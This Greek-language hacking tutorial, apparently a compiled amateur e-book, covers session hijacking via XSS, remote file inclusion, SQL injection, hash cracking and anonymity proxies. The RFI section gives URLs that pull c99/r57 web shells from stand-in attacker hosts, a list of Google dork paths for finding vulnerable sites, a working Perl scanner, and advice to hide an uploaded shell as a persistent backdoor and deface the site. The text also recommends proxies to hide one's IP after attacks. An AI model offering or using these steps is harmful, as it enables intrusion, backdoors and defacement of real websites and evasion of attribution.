Εικόνα 7: Με το User Agent Switcher υποδυόμαστε οτι χρησιμοποιούμε άλλο


browser από αυτόν που χρησιμοποιούμε στην πραγματικότητα.
Έχοντας θέσει, λοιπόν όλα τα απαραίτητα στοιχεία για να ξεγελάσουμε τον
server, πατάμε απλά ένα refresh και... voila είμαστε μέσα με τα στοιχεία του
φίλου μας (εικόνα 8)!
Εικόνα 8: O στόχος επιτευχτεί. Μπήκαμε σαν εγγεγραμμένοι χρήστες χωρίς
ποτέ να
κάνουμε... login!
Τρόποι προφύλαξης

Τρόποι προφύλαξης υπάρχουν αρκετοί, αρκεί να είσαστε υποψιασμένοι. Ο


μεγαλύτερος κίνδυνος είναι η άγνοια και η αφηρημάδα. Αν ξεπεράσετε αυτά
τα «εμπόδια» μένουν λίγα βασικά πράγματα που πρέπει να κάνετε:
Κοιτάτε ΠΑΝΤΑ σε τι link οδηγούν αυτά που σας στέλνουν. Αυτό πολλές
φορές (όπως είδαμε) δεν είναι αρκετό, αλλά είναι ένα μικρός τρόπος
προφύλαξης. Έχετε πάντα ενεργοποιημένους «μηχανισμούς» antiphishing (ο
IE7 το παρέχει buildin). Έχετε πάντα ενεργοποιημένους «μηχανισμούς» που
δεν επιτρέπουν εκτέλεση κώδικα javascript. Για παράδειγμα το AddIn του
firefox “NoScript” (http://tinyurl.com/yov7ar) το οποίο έχει και
ενσωματωμένο μηχανισμό anti-XSS θεωρούμε οτι είναι MUST!!
Για να είστε σίγουροι, χρησιμοποιείτε παραπάνω του ενός internet browsers.
Στον ένα θα έχετε τα “ευαίσθητα” δεδομένα σας με τα cookies τους και όλα
τα καλά..., και στον άλλον θα δοκιμάζετε τα “περίεργα” Links.
Αν για κάτι δεν είστε σίγουροι κάντε clear cookies και μετά εκτελέστε το
περίεργο link.
Ποτέ μα ΠΟΤΕ μην αναφέρετε passwords ή άλλα ευαίσθητα δεδομένα, σε e-
mails.
Ποτέ καμία τράπεζα δεν πρόκειται να σας ζητήσει με mail το PIN σας ή
κάποιο άλλο προσωπικό σας στοιχείο! Αν λάβετε ποτέ τέτοια e-mails
μπορείτε να τα καταγγείλετε στην Δίωξη Ηλεκτρονικού Εγκλήματος (
http://www.dart.gov.gr/) και φυσικά να μπλοκάρετε την διεύθυνση που σας
έστειλε το mail. Συμπεράσματα Το όλο «σκηνικό» που περιγράψαμε είναι
απόλυτα πραγματικό και συνέβη σε κάποιον πραγματικό server. O λόγος
που επιλέξαμε αυτήν την προσέγγιση είναι για να μπορέσετε να καταλάβετε
τον τρόπο που λειτουργούν οι απλοί «απατεώνες»
για να σας κάνουν να τους δώσετε (χωρίς να το θέλετε) τα στοιχεία σας!
Εμείς κάναμε τις δοκιμές μας σε ένα site εύρεσης εργασίας. Τα πράγματα
γίνονται πάρα πολύ πιο σοβαρά όταν πρόκειται για sites τραπεζών ή
οποιουδήποτε φυλάσσονται προσωπικά ή οικονομικά στοιχεία. Όλοι όσοι
ισχυρίζονται οτι το XSS είναι ουσιαστικά ακίνδυνο και δεν αποτελεί
πραγματικό πρόβλημα ασφάλειας, θα τους παρακαλούσαμε
να το ξανασκεφτούν. Εάν δεν το καταλαβαίνουν όμως, τουλάχιστον ας μην
το αναφέρουν δεξιά αριστερά «ξεγελώντας» πολλές φορές (χωρίς να το
θέλουν;;!)
ανθρώπους που δεν γνωρίζουν. Η ηλεκτρονική απάτη δεν διαφέρει σε
τίποτα από οποιαδήποτε άλλη απάτη, όπως και ο ηλεκτρονικός κλέφτης δεν
διαφέρει σε τίποτα από τον κοινό διαρρήκτη ή απατεώνα του
δρόμου! Ο στόχος μας ήτανε και είναι πάντα να σας μάθουμε πως
σκέφτονται και πως κινούνται αυτοί για να είσαστε υποψιασμένοι!!
Ίσως τώρα να σκέφτεστε οτί εφόσον αυτά εκτελούντε στην πλευρά του
χρήστη (client side) τότε πως μπορεί να είναι επικύνδυνα και γι' άλλους
χρήστες. Σε αυτό το σημείο χρησιμοποιείτε το γνωστό μας phising, και όπως
σίγουρα καταλάβατε αυτό
όλο μαζί μας κάνει μία XSS επίθεση.

Τύποι XSS attacks:


Υπάρχουν τρείς τύποι, αυτοί είναι:
+ Type-0
Αυτό είναι περισσότερο phising παρά XSS, συγκεκριμένα στέλνεται στο θύμα
ένα email με μια σελίδα attached που όταν το θύμα πατήσει στο link που του
έχει σταλεί ανοίγει αυτή η σελίδα και εκτελείτε το javascript που έχει εισάγει
ο attacker.
+ Type-1
Η πιο κλασσική επίθεση, ο attacker βρήσκει ένα vulnerable σε XSS site και
αφού γράψει κάποιο script στέλνει με spoofed email στο θύμα του ένα link
από το site αλλά μαζί με το script του στο url. Όταν το θύμα πατήσει στο link
εκτελείτε το αντίστοιχο script.
+ Type-2
Σε κάποιο site ή συνηθέστερα forum, κάποιος κάνει post ένα link για ένα site
το όποιο όμως link περιέχει στο url του κώδικα που "πιάνει" τα session
cookies του site/forum όποιου πατήσει πάνω του και τα στέλνει στον
attacker.

LFI: Όταν η αυτοκρατορία πέφτει από μέσα! Την εποχή των βασιλιάδων και
των ιπποτών, τότε που οι μάχες έδιναν κι έπαιρναν και η ασφάλεια του
κάστρου έπαιζε σημαντικό ρόλο για την τύχη ολόκληρης της αυτοκρατορίας
(ή κάτι τέτοιο, τέλος πάντων), παράλληλα με την ωμή βία γίνονταν και
ύπουλες απόπειρες για προσβάσεις στο κάστρο – στόχο. Το πώς, είναι
μάλλον προφανές: Πάντα υπήρχε μια κρυφή, ξεχασμένη πόρτα, στην οποία
λίγοι έδιναν σημασία. Κι όμως, συχνά οι επιτιθέμενοι την έβρισκαν, με τη
συνδρομή κάποιου καλοθελητή από μέσα.
Φανταστείτε, τώρα, ένα καλά οχυρωμένο κάστρο, το οποίο όμως κρύβει
μέσα τους μαρτυριάρηδες αυλικούς, έτοιμους να προδώσουν τα μυστικά
του. Σταματήστε να φαντάζεστε. Παρόμοιες καταστάσεις συναντάμε και
σήμερα!

Remote File Inclusion (R.F.I) είναι ένας από τους πάρα πολλούς τρόπους για
να κάνεις deface ή να πάρεις root σε ένα μηχάνημα, εκμεταλλευόμενος πάντα
κάποια “αδυναμία” στον κώδικα (vulnerability).
Η επίθεση με R.F.I. επιτρέπει σε αυτόν που κάνει την επίθεση να τρέξει τον
δικό του κώδικα – συνήθως php – (script) στο site στο οποίο έχει τις
“αδυναμίες” στον κώδικα. Ένα παράδειγμα από κώδικα που μπορεί να
δεχθεί επίθεση γιατί η μεταβλητή δεν καθορίζεται συγκεκριμένα:
(Το παράδειγμα είναι τυπικό και είναι για την συγκεκριμένη περίπτωση του
παραδείγματος) include($title . '/archive.php'); και το url:
www.vulnerable.website.com/index.php?title=archive.php ?
Κάποιος μπορεί να εκμεταλλευτεί την αδυναμία αυτή και να εκτελέσει ένα
php script που θα του δώσει την δυνατότητα να εκτελέσει κάποιες εντολές,
να ανεβάσει αρχεία (ανάλογα με τα permissions) και γενικά να πάρει
πληροφορίες. Tα scripts αυτά είναι γνωστά ως web shel s. Tα πιο γνωστά
web shel s είναι το: c99 και το r57.
O τρόπος με τον οποίο μπορούν να εκτελεστούν είναι ο εξής:
www.vulnerable.website.com/index.php?
title=http://www.malicious.code.com/C99.txt?
archive.php
Στην θέση του C99.txt θα μπορούσε να είναι οποιοδήποτε αρχείο με κώδικα
το οποίο είναι ανεβασμένο σε έναν remote web server. Στο παράδειγμα αυτό
ο server είναι:
www.malicious.code.com.
Πρέπει να σημειώσουμε πως θα πρέπει ο server στον οποίο είναι
ανεβασμένη η σελίδα με τις αδυναμίες στον κώδικα να “επιτρέπει” το R.F.I.
γιατί υπάρχουν τρόποι & ρυθμίσεις που αποτρέπουν την εκτέλεση remote
αρχείων. Για να βρει κάποιος
αδυναμίες σε ένα site, θα πρέπει να έχει λίγες γνώσεις προγραμματισμού
και κάποια εργαλεία ανίχνευσης αυτών των αδυναμιών, τα λεγόμενα
scanners, που μπορεί να είναι προγράμματα, μηχανές αναζήτησης, ακόμα και
bots που τρέχουν σε IRC Servers. Από κάτω ακολουθεί ένας αναλυτικός
οδηγός για επιθέσεις Remote File Inclusion. Μιας και το Remote File Inclusion
(εν συντομία RFI) έχει μεγάλη “ζήτηση” τελευταία και
είναι το πρόσταγμα του αναγνωστικού κοινού για τα Χριστούγεννα,
απολαύστε ..
ΥΠΕΥΘΥΝΑ (πάντα)!
Στην τεχνική επιθέσεων RFI (Remote File Inclusion), ό επιτιθέμενος εκτελεί
δικό του κώδικα/πρόγραμμα σ΄ ένα απομακρυσμένο site μέσω ενός PHP/ASP
shel που φιλοξενείται σε κάποιον άλλο, (δικό του) server. To site-στόχος,
χωρίς να έχει τη δυνατότητα να “καταλάβει” ότι πρόκειται για εξωτερική
σελίδα, εκτελεί το περιεχόμενό της σαν να ήταν μέρος του. Περιττό να πούμε
ότι, στο 99.9878129% των περιπτώσεων, το αποτέλεσμα είναι
καταστροφικό!

Θα μου πείτε, “έχουμε ξανά αναφέρει τι είναι Remote File Inclusion”..


Ναι..αλλα δεν χάνουμε τίποτα να πούμε λίγα λόγια (εισαγωγικά) ώστε να
μάθουν, όσοι δεν το έχουν ξανά ακούσει (λίγο δύσκολο αλλά ποτέ δεν ξέρεις)
ή δεν έτυχε να ασχοληθούν και φυσικά να το εμπεδώσουν για τα καλά όσοι
το έχουν ξανακούσει!
Τι είναι το RFI?
Μια επίθεση τύπου RFI [Remote File Inclusion] με απλά (καθημερινά) λόγια,
επιτρέπει σε έναν μη εξουσιοδοτημένο χρήστη, (ας πούμε έναν επισκέπτη)
ενός διαδικτύου χώρου να εκτελεί τον δικό του κώδικα PHP (ως επί το
πλείστον κακόβουλο) στο website που πάσχει απ' το συγκεκριμένο κενό
ασφαλείας. Πως μπορεί να βλάψει κάτι τέτοιο ένα site?
Η συγκεκριμένη επίθεση, δίνει την δυνατότητα στον επιτιθέμενο να
συμπεριλάβει ότι κώδικα θέλει στην URL του website. Όταν γίνει κάτι τέτοιο,
ένας κακόβουλος επισκέπτης, μπορεί να εκτελέσει στην URL του site
οτιδήποτε θα μπορούσε να το βλάψει.. για παράδειγμα ένα Shel .
Τι είναι ένα Shel ?
Shel (ή WebShel ) είναι μια σελίδα γραμμένη σε php ,asp (γενικά Dynamic
Pages) κτλ. η οποία δίνει την δυνατότητα στον επιτιθέμενο να “δει” τα
περιεχόμενα των φακέλων του site, να κάνει add, edit, delete, upload κτλ. Και
με λίγο ψάξιμο μπορεί να μετατραπεί από εισβολέας .. σε ADMINISTRATOR!
Που οφείλετε όμως το κενό ασφαλείας που δίνει τη δυνατότητα για RFI σε
κάποιον επισκέπτη? Το πρόβλημα βρίσκετε εδώ: include($page . '.php');
Η include () δέχεται αβίαστα οποιαδήποτε .php εσωτερική ή . εξωτερική :) .
Δηλαδή μπορεί το site μας να έχει σχεδιαστεί ώστε να είναι έτσι:
http://www.site.gr/i...age=example.php
Αλλά λόγο του προ αναφερθέντος προβλήματος . . ένας κακοπροαίρετος
χρήστης θα μπορούσε να εισάγει στην θέση του “example.php” την URL ενός
δικού του site που μέσα σε αυτό να έχει σηκώσει (με το συμπάθιο) το Shel
του. H include () “νομίζει” ότι πρόκειται για δικό της,εσωτερικό αρχείο ,άρα
ασφαλές. . και voila!
http://www.site.gr/index.php?page=http://w...hel s/shel .php
Πολλές φορές (αν όχι όλες) όταν ένας επιτιθέμενος ανεβάζει ένα shel κάπου,
το μετονομάζει σε *.*txt ώστε να μην μπορούν να δουν τα περιεχόμενα του
δικού του site οι υπόλοιποι! http://www.site.gr/index.php?
page=http://www.eimai_polu_kakos.gr/shel s/shel .txt ?
Τέλος με την θεωρία.
Καιρός για λίγη(και περισσότερη)... Δράση!!
Σίγουρα υπάρχουν πολλοί τρόποι για να βρούμε αν ένα site έχει πρόβλημα
ασφαλείας σε επιθέσεις RFI και μετά να το εκμεταλλευτούμε, αλλά ας
πάρουμε τα βήματα με τη σειρά
Βήμα 1ο
Το πρώτο πράγμα που έχουμε να κάνουμε είναι να ανεβάσουμε σε ένα δικό
μας site κάποιο shel aki και να περιμένουμε να βρούμε ένα site για να
εξαπολύσουμε την επίθεση μας. Στην εικόνα εικόνα 1 βλέπουμε ένα shel που
έχω ανεβάσει σε έναν server! Αν πάλι, δεν έχετε κάποιο server πρόχειρο
(λογικό μου ακούγεται), μπορείτε να βρείτε
ένα Free Host και να ανεβάσετε εκεί το shel aki σας..Με μια αναζήτηση στο
Google για Free Hosts θα πάρετε παααρα πολλά αποτελέσματα..!
Εικόνα 1
Το shel aki που ανεβάσαμε στο server μας, περιμένει υπομονετικά και
αθόρυβα να αναλάβει τον βρώμικο ρόλο του! So evil eh?
Βήμα 2ο (Προαιρετικό)
Σειρά έχει η αναζήτηση website που να επιτρέπουν την συγκεκριμένη
επίθεση. To εργαλείο μας για άλλη μια φορά θα είναι ο θείος Γούγλης!
(Google) Πάνω στα κριτήρια αναζήτησης υπάρχουν χιλιάδες είδη σελίδων τα
οποία μπορούμε να ψάξουμε, και το τι θα ακολουθεί μετά το “?” έχει να
κάνει πιο πολύ με την φαντασία του προγραμματιστή που έχει σχεδιάσει την
κάθε σελίδα..
μερικά είναι τα ακόλουθα:
/sources/functions.php?CONFIG[main_path]=
/sources/template.php?CONFIG[main_path]=
/embed/day.php?path=
/includes/dbal.php?eqdkp_root_path=
/sources/join.php?FORM[url]=owned&CONFIG[captcha]=1&CONFIG[path]=
/includes/kb_constants.php?module_root_path=
/mcf.php?content=
/components/com_facileforms/facileforms.frame.php?ff_compath=
skins/advanced/advanced1.php?pluginpath[0]=
/zipndownload.php?PP_PATH=
/administrator/components/com_serverstat/install.serverstat.php?
mosConfig_absolute_path=
/components/com_zoom/includes/database.php?mosConfig_absolute_path=
/main.php?sayfa=
/indexmain.php?page=
/components/com_extended_registration/registration_detailed.inc.php?
mosConfig_absolute_path=
/addpost_newpoll.php?addpoll=preview&thispath=
/header.php?abspath=
/components/com_performs/performs.php?mosConfig_absolute_path=
/administrator/components/com_remository/admin.remository.php?
mosConfig_absolute_path=
/impex/ImpExData.php?systempath=
/modules/vwar/admin/admin.php?vwar_root=
/coin_includes/constants.php?_CCFG[_PKG_PATH_INCL]=
/administrator/components/com_remository/admin.remository.php?
mosConfig_absolute_path=
/tools/send_reminders.php?includedir= allinurl:day.php?date=
/skin/zero_vote/error.php?dir=
/modules/TotalCalendar/about.php?inc_dir=
index.php?page=
/tags.php?BBCodeFile=
index.php?pageurl=
/templates/headline_temp.php?nst_inc=
Σημείωση:
Αν ψάξετε για Vulnerbale sites μέσω του Google μην ξεχάσετε το “al inurl:”
μπροστά ώστε ο έλεγχος να γίνει σωστά! Να πούμε ότι στο συγκεκριμένο
άρθρο δεν θα ψάξουμε να βρούμε ένα τυχαίο website ώστε να του κάνουμε
επίθεση για να καταλάβουμε πως δουλεύει η εν λόγο διαδικασία
(κάτι τέτοιο είχε γίνει άλλωστε σε παλιότερο άρθρο).. αλλά έχουμε βάλει απ'
την αρχή “στο μάτι” ένα site και θα δούμε πως θα του κάνουμε έλεγχο για το
“αν είναι ευάλωτο σε RFI”...και μετα..επίθεση...και γι αυτό το λόγο θέσαμε το
2ο βήμα ως
“Προαιρετικό”.

Βήμα 3ο
Ένας τρόπος για να ελέγξουμε αν ένα website είναι ευάλωτο σε επιθέσεις RFI
είναι o εξής:
Έστω ότι έχουμε το site:
http://www.site.gr/i...age=example.php
και αντικαταστήσουμε το στοιχείο example.php με την διεύθυνση του
server , που έχουμε ανεβάσαμε το shel μας, όπως αναφέραμε στο βήμα 1.
Εικόνα 2
Όπως μπορεί να διαπιστώσει ο καθένας, τελικά το συγκεκριμένο site έχει
σοβαρό πρόβλημα και χάρη στο shel aki μας, βλέπουμε όλα του τα
περιεχόμενα! Αν το αποτέλεσμα είναι παρόμοιο με την εικόνα 2, τότε είμαστε
σε πολύ καλό δρόμο, (αφού το site έχει όντος πρόβλημα), και παίρνουμε
μάτι απ' όλα τα περιεχόμενα, και μάλιστα με πολλές “γαργαλιστικές”
επιλογές στη διάθεση μας όπως: Read, Write,
Execute Command Upload, Download, Edit, Delete ...και πολλά άλλα.
Άλλα αντί να κάνουμε όλη αυτή τη διαδικασία χειρωνακτικά, μπορούμε να
γράψουμε
έναν κώδικα (σε perl Φυσικά!) ο οποίος να βρίσκει για εμάς, αν ένα site είναι
ευπαθές σε
επίθεση τύπου RFI.
Κώδικας single_rfi.pl

1.#!/usr/bin/perl
2.
3.use LWP::UserAgent;
4.use HTTP::Request;
5.
6.print "\n(c) totalXaker magazine \n";
7.print "Simple RFI Vulnerability Scanner [mr.pr0n]\n";
8.print "Host: ";
9.print "[Ex: www.xxx.org ]:";
10.chop ($host = <STDIN>);
11.$host = "http://".$host if ($host !~ /^http:/);
12.print "Enter path:";
13.print "[Ex: xxx.php?xxx= ]:";
14.chop ($path = <STDIN>);
15.print "Shell: ";
16.print "[Ex: http://www.xxx.gr/xxxx/r57.txt? ]:";
17.chop ($shell = <STDIN>);
18.print "String: ";
19.print "[Ex: r57shell ]:";
20.chop ($string = <STDIN>);
21.{
22.$rfi=$host."/".$path.$shell;
23.$req=HTTP::Request->new(GET=>$rfi);
24.$useragent=LWP::UserAgent->new();
25.$response=$useragent->request($req);
26.if ($response->is_success) {
27. if( $response->content =~ /$string/){
28.print "$host ,is HACKABLE! :D \n";
29.print "-------------------------------------------------\n";
30.print "$rfi";
31.print "\n-------------------------------------------------\n";
32.}else{
33.print "Maybe $host is not Vulnerable!:( \n";
34.}
35.}}

Ανάλυση του κώδικα:


Γραμμές 1-5 Σε αυτές τι γραμμές και συγκεκριμένα 2,3 γίνετε δήλωση των
packages που θα χρησιμοποιήσουμε στην συνέχεια. Για παράδειγμα το LWP::
UserAgent είναι μια ανήκει στην κατηγορία packages που έχουν να κάνουν
με το User Agent (όπως λέει και το όνομα του) και χρησιμοποιούνται
περισσότερο για να αποστέλλουν τα αιτήματα στο
Web. Όπως επίσης και το HTTP::Request για τα “αιτήματα” http που θα κάνει
το προγραμματακι μας.

Γραμμές 6-20 Οι γραμμές 6,7 περιέχουν την ονομασία του προγράμματος.


Στις ακόλουθες γραμμές εισάγονται ένα ένα τα στοιχεία που θα
χρησιμοποιηθούν μετά απ' το πρόγραμμα, και τα οποία είναι, η μεταβλητή
$host όπου εκεί εισάγετε το όνομα του site:
http://www.site.gr
μετά ακολουθεί η δήλωση της $path, η οποια μπορει να ειναι για
παραδειγμα: /index.php?page=
Αφού τα εισάγουμε αυτά, σειρά έχει να δηλώσουμε την μεταβλητή $shel που
όπως “μαρτυράει” και το όνομα της, είναι η πλήρης διεύθυνση της σελίδας
που έχουμε ανεβάσει το shel μας.
Τέλος, σειρά έχει η μεταβλητή $string η οποία "ψαχουλεύει" στην σελίδα που
της δώσαμε ($host) για την λέξη που δηλώσαμε, για παράδειγμα αν
χρησιμοποιούμε το shel “r57.txt” (όπως κάνω εγώ στο παράδειγμα) θα το
βάλουμε να ψάξει την λέξη “r57shel ” που είναι και ο τίτλος του shel !
Γραμμές 21-25
H μεταβλητή θα είναι η $rfi=$host."/".$path.$shel η οποια θα περιεχει ολα τα
στοιχεια που είχαμε εισάγει στα προηγούμενα βήματα. Στις ακόλουθες
γραμμές 23-25 έχουμε την δημιουργία σύνδεσης καθώς και αναμονή για
ανταπόκριση στο αίτημα ,πράγμα που δείχνει ότι το ενλόγο website είναι
οντάς online! Γραμμές 26-35
Όταν επιτευχθεί η σύνδεση και πάρουμε απάντηση (response) o κώδικας
ψάχνει στα περιεχόμενα της σελίδας για την λέξη που έχουμε ορίσει ως
$string. Αν γίνει αυτό τότε εμφανίζεται μήνυμα επιτυχίας..Αλλιώς
δοκιμάζουμε κάτι διαφορετικό! Ας πάρουμε μια γεύση από μια εικονική
εκτέλεση του προγράμματος:

(c) totalXaker magazine


Simple RFI Vulnerability Scanner [mr.pr0n]
Host: [Ex: www.xxx.org ]:http://www.site.gr
Enter path:[Ex: xxx.php?xxx= ]:/index.php?page=
Shell: [Ex:
http://www.xxx.gr/shells/r57.txt?]:http://www.eimai_polu_kakos.gr/shells/r57.txt
?
String: [Ex: r57shell ]:r57shell
HACKABLE! :D
-------------------------------------------------
http://www.site.gr/index.php?page=http://www.eimai_polu_kakos.gr/shells/r57.txt ?
-------------------------------------------------
Όταν ολοκληρωθεί και εκτελεστεί, το πρόγραμμα μας θα έχει την παραπάνω μορφή.
Τα αποτελέσματα του σκαναρισματος είναι εμφανέστατα στην εικόνα 3 όπου και είναι ο
πραγματικός μας στόχος. Το site που έχουμε θέσει για σκαναρισμα είναι HACKABLE ..
και τίποτα δεν μας σταματάει πλέων.

Εικόνα 3
Το μικρο μας προγραμματακι εν ώρα.. λειτουργίας!Μπορεί να μην είναι αρκετά
εφετζίδικο αλλά κάνει τη δουλειά του μια χαρά (ποιος είπε ότι η εμφάνιση παίζει ρόλο?)
και μας μαρτυράει αν το αντίπαλο site .. έχει “προβληματάκια”!

Βήμα 4ο
Αφού το site που έχουμε στα χέρια μας έχει όντος πρόβλημα, μπορούμε μέσω του shel
μας να ανεβάσουμε στην σελίδα-στόχο το ίδιο το shel .
Σημείωση:
Όταν ανεβάζουμε shel σε ένα server καλό είναι να το “βάζουμε” μέσα σε ένα
απομακρυνόμενο directory με ένα φαινομενικά αθώο όνομα, όπως για παράδειγμα
“default_page.php”. Έτσι θα μπορούμε να έχουμε ανά πάσα ώρα και στιγμή access στο
site απ' την πίσω πόρτα, και ας διορθώσει ο administrator το κενό ασφαλείας :)
Μόλις ολοκληρωθεί η διαδικασία, το αποτέλεσμα θα είναι όπως στην εικόνα 4.

Εικόνα 4
Μόλις ανεβάσαμε στον server το shel μας και είμαστε περήφανοι γι' αυτό! Δεν ξέρω ο
administrator του site, πόσο υπερήφανος μπορεί να νιώσει για τη συγκεκριμένη
αδυναμία του site. Και τώρα είμαστε μέσα! Όχι Αdministrators (αφου εχουμε
uid=99(nobody)) αλλά είμαστε μέσα!(ε! μην ζητάτε και πολλά!)

Στο σημείο που βρισκόμαστε μπορούμε να κάνουμε Defacement στο site το οποίο όπως
καταλάβατε δεν είναι και κάτι το τόσο σπουδαίο ή δύσκολο.. Εννοείτε ΦΥΣΙΚΑ ότι δεν
παρακινώ κανέναν αναγνώστη να προβεί σε τέτοιες ενέργειες αφού το defacement δεν
είναι ένδειξη ανωτερότητας, υπεροχής και γνώσης .. αλλά
περισσότερο για να κάνει κάποιος “μόστρα” και να αποδείξει, ότι πήρε πρόσβαση στο
site! To Defacement που έγινε φαίνεται στην εικόνα 5 και ο λόγος που επιχειρήθηκε είναι
απλά για να γίνει απόλυτα κατανοητό σε όλους (ειδικούς και μη!) το μέγεθος της
σοβαρότητας του προβλήματος σε μια τέτοια επίθεση!.
SQL Injection
Αυτή η επίθεση είναι η πιο περίεργη σε πρώτη ματιά επίθεση. Ας υποθέσουμε
πως έχουμε μια ιστοσελίδα που είναι τρωτή(τρύπια όπως λέμε) σε SQL. Αυτό
που θα κάνουμε είναι ερωτήσεις, σε γλώσσα SQL μέσω της URL στην
ιστοσελίδα και αυτή θα μας δίνει απαντήσεις! Υπάρχουν αρκετές τεχνικές. Η
διαδικασία της επίθεσης ονομάζεται SQL Injection. Φυσικά μπορεί μια
ιστοσελίδα να είναι τρωτή σε μόνο ένα είδος SQL Injection. Οπότε εδώ
πρέπει να πούμε πως δεν υπάρχει μόνο μια τεχνική. Σε κάθε ιστοσελίδα
απαιτείται και διαφορετική αντιμετώπιση.
Μερικά από τα είδη είναι η Blind SQL Injection, η Ms SQL Injection,η My SQL
Injection κτλ. Αυτή η επίθεση είναι εφικτή σε ιστοσελίδες τύπου
mysite.gr/article.php?id=5
Στη θέση του τελευταίου κομματιού μπορούν να μπούν ότι μπορείτε να
φανταστείτε, πρέπει να είναι βασικά της μορφής κάτι.php?id=κάτι. Αυτές οι
τεχνικές, περιγρέφονται πλήρως από τα παρακάτω Ελληνικά βίντεο
τιτόριαλς του cojito, που είναι απλώς αναλυτικότατα.
Μπορείτε να τα κατεβάσετε από εδώ

Part 1: Ψάχνοντας στο google για dorks


http://rapidshare.com/files/262434175/el hnikoxak_part_1.rar
Part 2: Τρυπώνοντας σε database με MySQL 5
http://rapidshare.com/files/262440280/el hnikoxak_part_2.rar
Part 3: Τρυπώνοντας σε database με MySQL 4
http://rapidshare.com/files/262475910/el hnikoxak_part_3.rar
Part 4: Σύνδεση ως admin>Deface
http://rapidshare.com/files/262616856/el hnikoxak_part_4.rar
Part 5: Τρυπώνοντας σε database με ASP MySQL injection
https://rapidshare.com/files/4270670079/Τρυπώνοντας_σε_database_με_ASP_MySQL_injection
-part_5-.mp4
Part 6: Τρυπώνοντας σε database με blind MySQL injection
https://rapidshare.com/files/326535758/Τρυπώνοντας_σε_database_με_blind_MySQL_injection-
part_6-.mp4

ΣΗΜΕΙΩΣΗ: Οι κωδικοί οι οποίοι θα βρούμε αν όλα πάνε καλά, κατά 90% είναι
κωδικοποιημένοι σε διάφορα Hashes, όπως MD5, SHA-256 κτλ.
Πώς να σπάσετε τα Hashes;
Όπως και αρκετά πιο πάνω μπορείτε να το κάνετε με την ιστοσελίδα
http://www.md5decrypter.co.uk/ . Αν δεν τα καταφέρετε πάντα υπάρχει η
λύση των προγρμμάτων. Για παράδειγμα το πρόγραμμα cain&abel, είναι
πάντα το καλύτερο πρόγραμμα. Μπορείτε να κάνετε μέσω αυτού bruteforce,
dictionary και rainbow tablets. Μπορείτε να κατεβάσετε το πρόγραμμα από
εδώ (http://www.oxid.it/cain.html). Για να μάθετε να το χειρίζεστε θα σας
πρότεινα κάποιο βίντεο τιτόριαλ από το youtube.
Note: Άν έχετε από win xp /win 7 κατεβάστε από το 2ο λινκ.

Ανωνυμία
Υπάρχουν δύο τρόποι για να κρύψουμε την IP μας όταν κάνουμε περιήγηση στο Internet.
Ο ένας είναι η χρησιμοποίηση proxy στον browser μας και ο άλλος μέσω κάποιων άλλων
ιστοσελίδων που μας δίνουν την δυνατότητα να σερφάρουμε στο Internet ανώνυμα.
Αν λοιπόν δεν μπορούμε να βρούμε κάποιον διαθέσιμο proxy server για να κρατήσουμε την
ανωνυμία μας τότε μπορούμε να χρησιμοποιήσουμε κάποια από τις παρακάτω ιστοσελίδες.Το μόνο
που χρειάζεται ουσιαστικά να κάνουμε είναι να βάλουμε την διεύθυνση της σελίδας που
θέλουμε να μπούμε στο κενό πεδίο και να αρχίσουμε το σερφάρισμα.
Καλό θα ήταν να σβήσουμε και τα προαναφερθέντα cookies του υπολογιστή μας μετά από
κάθε επίθεση, ή ανώνυμη περιήγηση στο ίντερνετ.
Ιστοσελίδες με Web Based Proxy:
http://proxify.com/
http://htmlblock.co.uk/anonymous_web_browser/
http://www.shadowsurf.com/
http://anonymouse.org/anonwww.html
http://www.guardster.com/subscription/proxy_free.php
http://www.the-cloak.com/login.html
Πρόκεται ουσιαστικά για Web Based Proxy και το πλεονέκτημα
που έχουνε είναι ότι δεν χρειάζεται ούτε να εγκαταστήσουμε
κάποιο πρόγραμμα στον υπολογιστή μας για ανωνυμία,ούτε και
ασφαλώς και να ψάχνουμε για proxy συνέχεια και να χάνουμε
χρόνο.

Κάπου εδώ τελειώσαμε... αν τα έχεις διαβάσει και κατανοήσει


όλα όσα έγραψα θα βρίσκεσαι σε στάδιο του να καταλαβαίνεις
και να είσαι σε θέση να κρίνεις τα "hacks" των άλλων, και ίσως να
κάνεις κι εσύ.

Στο μέλλον το Greektrack θα "αναβαθμιστεί" και εμπλουτιστεί


ακόμη περισσότερο μέχρι να φτάσει σε επίπεδο ο αναγνώστης του,
μόλις το διαβάσει να κατέχει ένα μέτριο με μεγάλο επίπεδο Hacking.
Χρησιμοποιήστε το Hacking για καλό σκοπό, και ναι, εγώ φέρω ευθύνη
για ότι βάλετε στο ύπουλο, υποχθόνιο, κακόβουλο, χαιρέκακο μυαλό σας.
Αυτή είναι η δεύτερη αναβάθμιση σε αρκετά μεγάλο βαθμό από το
"βιβλίο" του C4pt4in. Στη συνέχεια αυτό το Βιβλίο θα αναβαθμιστεί
από κάποιον με μεγαλύτερες ακόμη γνώσεις.

C4pl4in
ΘΑΝΑΣΑΡΑΣ

ΘΑΝΑΣΑΡΑΣ !!!

You might also like